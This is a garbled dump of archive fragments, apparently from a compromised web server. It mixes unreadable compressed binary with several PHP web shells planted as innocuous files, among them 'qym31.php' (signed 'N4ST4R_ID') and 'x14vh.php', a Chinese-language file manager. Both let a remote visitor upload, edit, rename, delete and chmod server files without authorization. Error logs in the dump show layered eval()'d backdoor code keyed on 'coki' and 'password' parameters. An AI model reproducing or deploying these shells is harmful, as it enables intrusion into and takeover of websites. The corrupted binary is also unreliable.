lN5=xt'+Lk'g}KHP2=O5e;1HZo|M$f:FMM_!ʕ8!WɶD.)(e1(JA9:>>:}|r>/1׽e8lp0qrֈo#vwdᾄ$1od0q%WS>z~Z)H"6EU^W+wu%'m\Nx)0;qa^Iǫ/e([}7sTo,.hK T}(ڸ9uV"ԣ1KdeKlQ" Xt<W{0A/ɚV@WNAE9U -&iDʤUI{DW8"ȆyUెmW*HZ=^-"b5ܮ):жO N B@ZSMQ(Un7[鮔tl_*?ZKUy(C^z"eCPo5Vc{8 uMjk#;*[V6.d߽zF|ÌLSĿ3ٞ  Ih. #`wm$gg>1;nZ.QÕmlܮy omĴ榽Gda5n[yЉ64-鳷kMmSDITwR{fAvͅ"/?&-aOg)'~vʍY$bȷErC|H iM<웾v}ښ7. ZJ3n) Than7hRҋ ݟLk_mJv6]+b7X^wŻ曕!;SJ)[_&޺_Gm +ߛ@!|+d仔x:lެ -vK Ry>yDUNݲ/ ];WV~ -淯 im~I}(O<'C"aKcз4Mc_? \H8\NЭ؅;y$`qu{mҶEM<#]ׯQETSI3Ѡ(S`I+$ks8z*WEYfTFgc/\n}nJ7=c4a`6CbN9&Ccx aW; >6v=kD/?2L[p}S2+UhO&<334,Ci=@% rdzv*l7Mc2>/zx>Bٛ\ٟYB3^C1deuk.ҁXu7 b6F(q<9n1;kxX2Q-۱@ּ8 )H/F3XGFRl#h)2n#.{gc J|?.l[nt kfz~jotE|vwȃ*:4E-|m(s~b{ޒ2㟁>b0za_Y[UWhTgRLV*a)̂kQU%HN.a}Qo6^_]'FZjBius4|1j4&ea3vNIX=7HO@49ʁrc3>2F_&ac˰1$411}<ݚXd (mAi| +C¸?d%TМP !0鍇7 Clo ְOphf2 4 gl̥.E|@=4#lnƧga&NZ@ò췗77@ {@FٴdDƈ@ٱ ?!nF')Z8(1`8r {b5!4oX :RPډ3P6ʻ9'ByFQko![?8s6ܼ 7 7Kbx(-˧l 0$/`lT U,XXS*Or/'4*XHkGw/kwiE4 >t^ `;xO:%SO)HXLwYsicfuWπ9W^ҀBs6ӏ=KT 5@̧xKwSm2U(.`C";.w5攢~%MS}[ePu e{X[3T^HGfAt4Ə1_&^k{mufal3mktxg.tar.gz000064400000000635151026170360007115 0ustar00Mo@=WLI`.6iMTb/XHSS1qSxNdɼ,;nD,^kQ4E9h$װaIٮNeY uY/Hzog I* (:A2) Eo`:]|z'`Go>]-b1g2uj'^o @]Y/\;tZ$M8g(|*ȍ4]GSCk:y(\ɍ^ D9Δel]`=FDe9~٨|D.es+ylrOaEڭpԽtqg3p]̺MpN v=}1Ž{`fEEEE_^ 70mdyke.tar000064400000004000151026170360006440 0ustar00index.php000064400000000156151026170220006362 0ustar00a6z8x5.tar000064400000006000151026170360006316 0ustar00error_log000064400000000704151026170310006456 0ustar00[28-Oct-2025 16:21:34 UTC] PHP Notice: Undefined index: password in /tmp/phpUFpZij(2) : eval()'d code on line 1 [03-Nov-2025 11:22:38 UTC] PHP Notice: Undefined index: password in /tmp/phpKDh5wo(2) : eval()'d code on line 1 [04-Nov-2025 13:25:06 UTC] PHP Notice: Undefined index: password in /tmp/php79mjsK(2) : eval()'d code on line 1 [05-Nov-2025 05:47:12 UTC] PHP Notice: Undefined index: password in /tmp/phpIpiRhA(2) : eval()'d code on line 1 index.php000064400000000146151026170310006361 0ustar00error_log000064400000004564151026170360006473 0ustar00[28-Oct-2025 16:08:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [03-Nov-2025 10:57:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [04-Nov-2025 07:49:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 03:45:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 03:45:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 04:24:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 05:27:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 05:45:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 07:44:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#sim.php on line 88 [05-Nov-2025 07:44:38 UTC] PHP Notice: Undefined variable: ext in /tmp/phpM5aThD#sim.php on line 1115 [05-Nov-2025 07:50:20 UTC] PHP Notice: Undefined variable: ext in /tmp/phpM5aThD#sim.php on line 1115 0kium3.tar000064400000125000151026170360006363 0ustar00qym31.php000064400000121147151026170230006232 0ustar00 Na}{
~" : ""; foreach ($paths as $id => $pat) { echo "$pat/"; } ?>

File Content:

File does not exist or is not readable.
File does not exist or is not readable.
"; } if (isset($_POST["edit"])) { $content = $_POST["file_content"]; if (doFile($filePath, $content)) { $_SESSION["success"] = "File updated successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } else { $_SESSION["error"] = "Failed to update file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=edit"); exit; } } } // --- Rename Logic (file or folder) --- function handleRename($type, $currentNameKey) { $isFile = ($type === 'file'); $nameKey = $isFile ? 'file' : 'folder'; if (!isset($_GET["path"], $_GET[$nameKey])) { echo "
Invalid parameters.
"; return; } $currentName = $_GET[$nameKey]; $path = rtrim($_GET["path"], "/\\"); $fullPath = $path . DIRECTORY_SEPARATOR . $currentName; $isValid = $isFile ? (file_exists($fullPath) && is_file($fullPath)) : (is_dir($fullPath) && is_writable($fullPath)); if (!$isValid) { echo "
" . ucfirst($type) . " does not exist or is not readable.
"; return; } // Handle POST Rename if (isset($_POST["rename"])) { $newName = trim($_POST["new_name"]); $newPath = $path . DIRECTORY_SEPARATOR . $newName; if ($newName !== "" && rename($fullPath, $newPath)) { $_SESSION["success"] = ucfirst($type) . " renamed successfully!"; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($newName) . "&action=rename" . $type); exit; } else { $_SESSION["error"] = "Failed to rename " . $type . "."; header("Location: ?path=" . urlencode($path) . "&" . $nameKey . "=" . urlencode($currentName) . "&action=rename" . $type); exit; } } // Show form ?>

Are you sure you want to delete the file ?

File does not exist or is not readable."; } if (isset($_POST["delete"])) { if (unlink($filePath)) { $_SESSION["success"] = "File deleted successfully!"; header("Refresh:0; url=?path=" . urlencode($_GET["path"])); exit; } else { $_SESSION["error"] = "Failed to delete file."; header("Refresh:0; url=?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=deletefile"); exit; } } } if (isset($_GET["action"]) && $_GET["action"] === "deletefolder" && isset($_GET["path"]) && isset($_GET["file"])) { $basePath = rtrim($_GET["path"], "/\\"); $folderName = $_GET["file"]; $folderPath = $basePath . "/" . $folderName; if (file_exists($folderPath) && is_dir($folderPath)) { ?>

Are you sure you want to delete the folder and all its contents?

Folder does not exist."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfile" && isset($_GET["file"])) { $filePath = rtrim($_GET["path"], "/\\") . "/" . $_GET["file"]; if (file_exists($filePath) || is_writable($filePath)) { ?>
File does not exist or is not writable."; } } if (isset($_GET["action"]) && $_GET["action"] === "chmodfolder" && isset($_GET["folder"])) { $folderPath = rtrim($_GET["path"], "/\\") . "/" . $_GET["folder"]; if (is_dir($folderPath) || is_writable($folderPath)) { ?>
Folder does not exist or is not writable."; } } ?>
Directory Is NOT Readable
Name Size Permission Action
---
bytes
N4ST4R_ID | Naxtarrr index.php000064400000000147151026170360006367 0ustar00index.php.php.tar.gz000064400000000347151026170360010363 0ustar00Ak0p?J{h/F;L"-j&`SpßO4[{2JvV ~V+k ȶ旑fpءIrs~E6 )usB)#(wVgW]tR Dq&?' r3_[(rxE.r;3$ۃk/i&`YU!^Q6{~yߕ*2xmzkg.tar.gz000064400000000277151026170360007124 0ustar00KI+(`03 `hjFf@$nflf`@C7AiqIbJz5C^iNJufbjnAIJ|kPkPGHH@pR&PRANjq1((Y+d%甦j(UeXe|MC2\U24ڣ`Q0 PxT3mktxg.tar000064400000013000151026170360006464 0ustar00error_log000064400000005423151026170200006457 0ustar00[27-Oct-2025 03:47:03 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [27-Oct-2025 03:47:03 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [27-Oct-2025 03:47:04 UTC] PHP Notice: Undefined index: password in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code on line 1 [28-Oct-2025 16:30:17 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [28-Oct-2025 16:30:17 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [28-Oct-2025 16:30:17 UTC] PHP Notice: Undefined index: password in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code on line 1 [03-Nov-2025 11:01:44 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [03-Nov-2025 11:01:44 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [03-Nov-2025 11:01:44 UTC] PHP Notice: Undefined index: password in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code on line 1 [04-Nov-2025 23:48:59 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [04-Nov-2025 23:48:59 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [04-Nov-2025 23:48:59 UTC] PHP Notice: Undefined index: password in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code on line 1 [05-Nov-2025 05:47:07 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [05-Nov-2025 05:47:07 UTC] PHP Notice: Undefined index: coki in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code on line 1 [05-Nov-2025 05:47:07 UTC] PHP Notice: Undefined index: password in /tmp/phpM5aThD#wsa.php(78) : eval()'d code(6) : eval()'d code(2) : eval()'d code(1) : eval()'d code(1) : eval()'d code(2) : eval()'d code on line 1 index.php000064400000000147151026170200006360 0ustar00error_log.tar.gz000064400000000647151026170360007675 0ustar00A0~ڇѲ"ip 4zֶU;Zb!tO愔B]%x^R]%)eUH-]^?4y@׺p} 6h7 ʮ Gf,oY簟s8k.]xFn 8gSo4 յd=$֌ Du O5/Ld$p+p2UrcFw< [/7d͵|k˚P_ͺRiY,ZYKӵot^i35MP 3\^55o}k{#A!Z럱3gΜyFAxdeylv4.tar000064400000004000151026170360006456 0ustar00error_log000064400000000430151026170340006455 0ustar00[27-Oct-2025 03:45:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/gettoplisting/public_html/dd7e5a/deylv4/09epm.php on line 163 deylv4.tar.gz000064400000000463151026170360007106 0ustar00ѱN0Εxc8 :A""7&Am Tot;tx'Oy3})[F1-w5-RJy'ج7M[{UT  %c^%mOݸA#[ų2E(.Zv$* ֡@Pz݀Ǘ}eΏE&K+;lY}xƝ몣A)0Ww*B7$s` e6L&SMPKz&e[bj rw8s50.tarnu[PKz&e[t :x6an4i.tar.gznu[PKz&e[P! #3mktxg.zipnu[PKz&e[se0functionalityRee.tar.gznu[PKz&e[d(&& c8x6an4i.tarnu[PKz&e[Amqq ^a6z8x5.tar.gznu[PKz&e[ 44 K`bs6zmp.tar.gznu[PKz&e[xT a2xmzkg.tarnu[PKz&e[* iindex.php.tarnu[PKz&e[Mg8 3rbs6zmp.tarnu[PKz&e[ô mz0mdyke.zipnu[PKz&e[<< {h6snx5.tarnu[PKz&e[ӭxHxHfunctionalityRee.tarnu[PKz&e[0d +0^eu9d36.tarnu[PKz&e[ e8^0mdyke.tar.gznu[PKz&e[, i9^ipxbwd.tarnu[PKz&e[AZ _bs6zmp.zipnu[PKz&e[7PV"" _rw8s50.tar.gznu[PKz&e[ _ _0kium3.tar.gznu[PKz&e[eKL _3mktxg.tar.gznu[PKz&e[6?9 _0mdyke.tarnu[PKz&e[ENMaa 2_h6snx5.tar.gznu[PKz&e[-~| P`a6z8x5.tarnu[PKz&e[r>L ?\`deylv4.zipnu[PKz&e[Y7t t )^`error_lognu[PKz&e[W]i g`ipxbwd.tar.gznu[PKz&e[p ahik24b.tarnu[PKz&e[fal )a0kium3.tarnu[PKz&e[8v aeu9d36.tar.gznu[PKz&e[ #gg eaindex.phpnu[PKz&e[v|Ό a2xmzkg.zipnu[PKz&e[) N@aindex.php.php.tar.gznu[PKz&e[I ka2xmzkg.tar.gznu[PKz&e[  ga0kium3.zipnu[PKz&e[gO |bhik24b.tar.gznu[PKz&e[^ 7 b3mktxg.tarnu[PKz&e[{>ҧؗberror_log.tar.gznu[PKz&e[ DD ba6z8x5.zipnu[PKz&e[M =bdeylv4.tarnu[PKz&e[=x#H#H wberk72g.tar.gznu[PKz&e[.33 bdeylv4.tar.gznu[PKz&e[TT Gberk72g.tarnu[PK**v CdPK*uf[~zGG rw8s50.zipnu[PK&e[5q$ error_lognu[[27-Oct-2025 03:47:27 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [27-Oct-2025 03:47:27 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 00:28:19 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 00:28:19 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 15:30:27 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 15:30:27 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 16:56:35 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 16:56:35 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 18:46:29 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 18:46:29 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 21:25:49 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 21:25:49 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 23:11:20 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [28-Oct-2025 23:11:20 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [29-Oct-2025 01:02:44 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [29-Oct-2025 01:02:44 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [29-Oct-2025 04:10:22 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [29-Oct-2025 04:10:22 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [29-Oct-2025 07:47:19 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [29-Oct-2025 07:47:19 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [29-Oct-2025 11:11:40 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [29-Oct-2025 11:11:40 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [03-Nov-2025 11:03:24 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [03-Nov-2025 11:03:24 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [04-Nov-2025 03:03:53 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [04-Nov-2025 03:03:53 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 [05-Nov-2025 05:47:27 UTC] PHP Warning: Unexpected character in input: '' (ASCII=127) state=0 in /tmp/phpM5aThD#local.php on line 36 [05-Nov-2025 05:47:27 UTC] PHP Parse error: syntax error, unexpected '_��Y�' (T_STRING) in /tmp/phpM5aThD#local.php on line 36 PK&e[^ii index.phpnu[PK&e[5q$ error_lognu[PK&e[^ii index.phpnu[PKPK*uf[^% x6an4i.zipnu[PK&e[!-AA x14vh.phpnu[ $name) { if (!empty($name)) { $fileName = basename($name); $tmpName = $_FILES['files']['tmp_name'][$key]; $targetFile = $directory . DIRECTORY_SEPARATOR . $fileName; if (move_uploaded_file($tmpName, $targetFile)) { $uploaded++; } else { $failed++; } } } $message = "上传成功:$uploaded 个文件;失败:$failed 个文件。"; echo ""; } } function handleCreateFolder($directory) { if (!empty($_POST['folderName'])) { $newFolder = $directory . DIRECTORY_SEPARATOR . $_POST['folderName']; if (!is_dir($newFolder)) { if (mkdir($newFolder)) { echo ""; } else { echo ""; } } else { echo ""; } } } function handleCreateFile($directory) { if (!empty($_POST['fileName'])) { $newFile = $directory . DIRECTORY_SEPARATOR . $_POST['fileName']; if (!file_exists($newFile)) { if (file_put_contents($newFile, '') !== false) { echo ""; } else { echo ""; } } else { echo ""; } } } function handleEditFile($filePath) { if (isset($_POST['content'])) { file_put_contents($filePath, $_POST['content']); echo ""; } $content = htmlspecialchars(file_get_contents($filePath)); echo "
"; echo "
"; echo ""; echo "
"; } function handleDeleteFile($filePath) { if (file_exists($filePath)) { unlink($filePath); echo ""; } } function handleRenameFile($filePath) { if (!empty($_POST['newName'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . $_POST['newName']; if (rename($filePath, $newPath)) { echo ""; } else { echo ""; } } else { echo "
"; echo ""; echo ""; echo "
"; } } function displayDirectory($directory) { $files = array_diff(scandir($directory), array('.', '..')); echo "

目录内容:'$directory'

    "; foreach ($files as $file) { $path = realpath("$directory/$file"); $style = getFileStatus($path); $isDir = is_dir($path) ? 'directory' : 'file'; echo "
  • "; echo $isDir === 'directory' ? "$file" : "$file - " . generateFileActions($directory, $file) . ""; echo "
  • "; } echo "
"; } function getFileStatus($path) { if (is_writable($path) && is_readable($path)) { return "border-left: 4px solid green;"; } elseif (!is_writable($path)) { return "border-left: 4px solid red;"; } elseif (is_readable($path)) { return "border-left: 4px solid white;"; } return ""; } function generateFileActions($directory, $file) { $root = urlencode($_GET['root'] ?? __DIR__); return "编辑 | 删除 | 重命名"; } function handleFileActions($filePath) { if (isset($_GET['action'])) { switch ($_GET['action']) { case 'edit': handleEditFile($filePath); break; case 'delete': handleDeleteFile($filePath); break; case 'rename': handleRenameFile($filePath); break; } } } echo "文件管理器 "; echo "

当前目录: $currentDir

"; echo "

返回上级目录 | 回到原目录

"; if (isset($_GET['action'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_GET['file']; handleFileActions($filePath); } displayDirectory($currentDir); echo "
"; // 上传文件 echo "
"; echo "

上传文件(最多4个)

"; for ($i = 0; $i < 4; $i++) { echo "
"; } echo "
"; echo "
"; echo "
"; // 合并创建目录和文件 echo "
"; echo "

创建目录 & 创建文件

"; echo "

"; echo "

"; echo "

"; echo ""; echo "
"; echo "
"; echo "
"; // container 结束 if ($_SERVER['REQUEST_METHOD'] === 'POST') { handleUpload($currentDir); handleCreateFolder($currentDir); handleCreateFile($currentDir); } echo ""; echo ""; ?> PK&e[!-AA x14vh.phpnu[PKIzPK*uf[cww h6snx5.zipnu[PK|&e[Q55 sup0h.phpnu[<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); 